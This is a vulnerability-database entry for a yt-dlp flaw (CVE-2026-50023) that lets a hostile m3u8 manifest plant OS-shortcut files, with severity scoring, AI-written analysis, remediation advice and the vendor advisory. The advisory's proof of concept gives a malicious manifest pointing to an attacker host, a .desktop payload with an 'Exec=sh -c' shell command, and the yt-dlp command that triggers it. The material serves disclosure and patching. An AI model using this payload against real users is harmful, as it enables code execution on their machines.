Skip to main content

yt-dlp EUVDEUVD-2026-38493

| CVE-2026-50023 CRITICAL
Improper Restriction of Names for Files and Other Resources (CWE-641)
2026-06-16 https://github.com/yt-dlp/yt-dlp GHSA-c6mh-fpjc-4pr3
9.6
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Lure victim to malicious manifest URL
  2. Delivery
    Serve m3u8 with subtitle URI ending .desktop
  3. Exploit
    yt-dlp derives shortcut extension under --write-subs
  4. Execution
    Write attacker payload beside video
  5. Persist
    Victim opens disguised shortcut
  6. Impact
    Execute attacker shell command

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V5 - File Handling Improper restriction of file name
Exploitation Conditions

The victim must invoke yt-dlp against an attacker-controlled or untrusted URL/manifest AND run with at least one file-emitting option - specifically --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail - none of which are enabled by default. The attacker supplies a manifest (e.g. an m3u8 EXT-X-MEDIA:TYPE=SUBTITLES tag) whose URI carries a .desktop, .url, or .webloc extension so yt-dlp derives that extension for the written file. The file write occurs without further user action, but actual code execution or phishing requires a separate, limiting step: the user must later open the disguised shortcut, which is made more plausible by extensions being hidden by default on Windows and many Linux desktops. Limiting factors: no exploitation against default yt-dlp invocations, dependence on the user choosing a vulnerable option and trusting a hostile URL, and a second user interaction (opening the file) for impact beyond disk write.

Impact

Signals are mixed and should be read together rather than off the headline 9.6. The vendor CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) reflects unauthenticated network reach with a scope change, but it folds in best-case post-exploitation: the immediate, reliable impact is an arbitrary file write (integrity), while confidentiality/availability and true code execution depend on the victim subsequently opening the disguised shortcut - a second user action beyond the download itself. Real-world likelihood is further constrained because the victim must (a) feed an untrusted URL to yt-dlp and (b) run with a non-default option such as --write-subs, --write-auto-subs, --embed-subs, or the thumbnail-writing options. EPSS at 0.54% (41st percentile) and the absence of a KEV listing are consistent with a social-engineering vector that is plausible but not mass-automatable. There is no SSVC record in the input. Net: this is a legitimate high-severity client-side issue worth prompt patching for anyone scripting yt-dlp against untrusted input, but the raw 9.6 overstates spray-and-pray risk - exploitation hinges on user interaction and operator-chosen flags.

Exploit ScenarioDerived

An attacker hosts a malicious master.m3u8 whose subtitles track URI points to http://attacker/payload.desktop, where the .desktop file carries an Exec=sh -c "..." directive. A victim runs yt-dlp --write-subs -o "MyVideo.%(ext)s" http://attacker/master.m3u8, and yt-dlp writes MyVideo.en.desktop next to the video; with the extension hidden by the desktop environment, the victim later double-clicks the file believing it is a subtitle, executing the attacker's command. A working proof-of-concept for this chain is published in the vendor advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 26, 2026

Arbitrary OS-shortcut file write in yt-dlp before 2026.06.09 lets a remote attacker plant malicious .desktop, .url, or .webloc files on a victim's machine, reviving the attack surface that CVE-2024-38519 was meant to close. Because numerous extractors derive output file extensions from attacker-controlled sources (e.g. an m3u8 EXT-X-MEDIA:TYPE=SUBTITLES URI), a user who downloads from a malicious URL with options like --write-subs will silently receive a shortcut file containing attacker-chosen shell commands or remote-executable links. A vendor proof-of-concept demonstrating code execution via a planted .desktop file is publicly available; it is not listed in CISA KEV, and EPSS is low at 0.54% (41st percentile).

Earlier versions of this analysis (2)
v2 Jun 26, 2026 - 20:31 cvss changed CVSS 9.6

Arbitrary OS-shortcut file write in yt-dlp before 2026.06.09 lets a remote attacker who controls a media URL plant malicious .desktop, .url, or .webloc files on the victim's machine, re-opening the attack surface that CVE-2024-38519 was meant to close. Because many extractors derive output filenames from attacker-controlled manifest data (e.g. an m3u8 EXT-X-MEDIA SUBTITLES URI), a user running yt-dlp with options like --write-subs against a hostile URL can be tricked into writing a disguised shortcut that runs shell commands when opened. A working proof of concept is published in the GHSA advisory; this is not in CISA KEV and EPSS is low (0.54%, 41st percentile), so it represents a credible social-engineering/RCE path rather than evidence of mass active exploitation.

v1 Jun 16, 2026 - 21:42 CVSS 8.3

Arbitrary OS-shortcut file write in yt-dlp prior to version 2026.06.09 allows remote attackers to plant malicious .desktop, .url, or .webloc files in the user's download directory, bypassing the CVE-2024-38519 extension allowlist. Exploitation requires the victim to download attacker-controlled media with options like --write-subs, then later open the planted shortcut, enabling phishing or arbitrary code execution. Publicly available exploit code exists via the GitHub Security Advisory PoC, though no public exploit identified at time of analysis in active campaigns and KEV does not list this CVE.

RemediationAI

Vendor-released patch: 2026.06.09 - upgrade yt-dlp to 2026.06.09 or later (release: https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09; fix commit e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a), which strips .url, .desktop, and .webloc from the global extension allowlist and permits them only inside the --write-link workflow. If you cannot upgrade immediately, the vendor advises doing all of the following: pass only fully trusted input URLs to yt-dlp; avoid --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, and --embed-thumbnail; and use --format - to interactively select formats and validate their file extensions before download. The trade-off is functional: disabling the subtitle/thumbnail options removes those convenience features, and interactive format selection breaks unattended/batch automation, so scripted pipelines may need rework. See GHSA-c6mh-fpjc-4pr3 for the authoritative guidance.

Affected VersionsENISA

yt-dlp < 2026.06.09

Affected Packages

pypi yt-dlp fix: 2026.06.09, 2026.6.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

yt-dlp is a Python media downloader (PyPI package yt-dlp) that resolves output filenames partly from metadata supplied by remote servers and playlist manifests. The flaw is a CWE-641 issue (improper restriction of names for files and other resources): the CVE-2024-38519 remediation introduced an extension allowlist in _UnsafeExtensionError.sanitize_extension, but deliberately kept .desktop, .url, and .webloc globally allowed so the --write-link feature would keep working. OS-shortcut formats are not inert data - .desktop Desktop Entry files carry an Exec= directive, Windows .url/Linux launchers can point at remote executables - so allowing them globally meant any download path (subtitles, thumbnails, media) could emit them. The patch (commit e578e265) removes these three extensions from the global ALLOWED_EXTENSIONS set and threads an explicit _allowed_exts=tuple(LINK_TEMPLATES) only through the --write-link code path, so shortcut extensions are accepted solely when the user intentionally requests link-file output.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 8.8 CRITICAL

Unauthenticated remote input (AV:N/PR:N) but requires a non-default option plus the user opening the file (UI:R); the reliable impact is an arbitrary file write (I:H, S:C), with C/A only partial since they hinge on the victim executing the shortcut.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Jun 26, 2026 - 20:31 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 26, 2026 - 20:31 vuln.today
v2 - CVSS changed
Severity Changed
Jun 26, 2026 - 20:22 NVD
HIGH CRITICAL
CVSS changed
Jun 26, 2026 - 20:22 NVD
8.3 (HIGH) 9.6 (CRITICAL)
CVE Published
Jun 16, 2026 - 20:59 github-advisory
HIGH 8.3

DescriptionNVD

Summary

A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as .desktop, .url, .webloc) to the user's filesystem, bypassing the remediation for CVE-2024-38519.

Details

The fix for CVE-2024-38519 enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as .exe or .sh) during file downloads. However, this allowlist explicitly included the unsafe extensions .desktop, .url, and .webloc so that the functionality of the --write-link option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.

Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an EXT-X-MEDIA:TYPE=SUBTITLES tag with a malicious URI (e.g., URI="http://attacker/x.desktop"), which would result in yt-dlp writing the attacker-controlled content to a file with a .desktop extension if the user had passed the --write-subs option.

Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments.

While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution.

Proof of Concept

1. Start a malicious server: Host a malicious master.m3u8 manifest that points to malicious subtitle payloads:

m3u8
#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"

And host the payload.desktop file with malicious content:

ini
[Desktop Entry]
Type=Application
Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"
Name=Subtitle

2. Trigger the download: In this case, the generic extractor triggers the exploit if the --write-subs option is used:

bash
yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"

Result: yt-dlp writes MyVideo.en.desktop to disk, containing the attacker payload.

Patches

yt-dlp version 2026.06.09 fixes this issue by removing .url, .desktop and .webloc from the global file extension allowlist, and by only allowing those file types to be written from within the context of the --write-link options' functionality.

Workarounds

It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.

Users who are not able to upgrade should do ALL of the following:

  • Only pass fully trusted input URLs to yt-dlp
  • Do not use the --write-subs, --write-auto-subs, --embed-subs, --write-thumbnail, --write-all-thumbnails, or --embed-thumbnail options
  • Use --format - to interactively select download formats and validate their file extensions

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 pypi packages depend on yt-dlp (6 direct, 0 indirect)

Ecosystem-wide dependent count for version 2026.6.9.

Executive ViewAI

Why It Matters

yt-dlp before version 2026.06.09 contains a critical code-execution vulnerability that allows attackers to plant malicious shortcut files (.desktop, .url, .webloc) on user systems when downloading media from attacker-controlled URLs. Any employee or automated system using the affected tool can be silently compromised, as the attack disguises executables as subtitle files or other expected downloads. Although exploit likelihood is low (0.54% EPSS), the broad adoption of yt-dlp in media workflows and the recent re-opening of a previously-closed attack surface warrant immediate patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Prevalence
High
extremely popular media downloader, embedded in many tools and pipelines
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

SUSE

Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy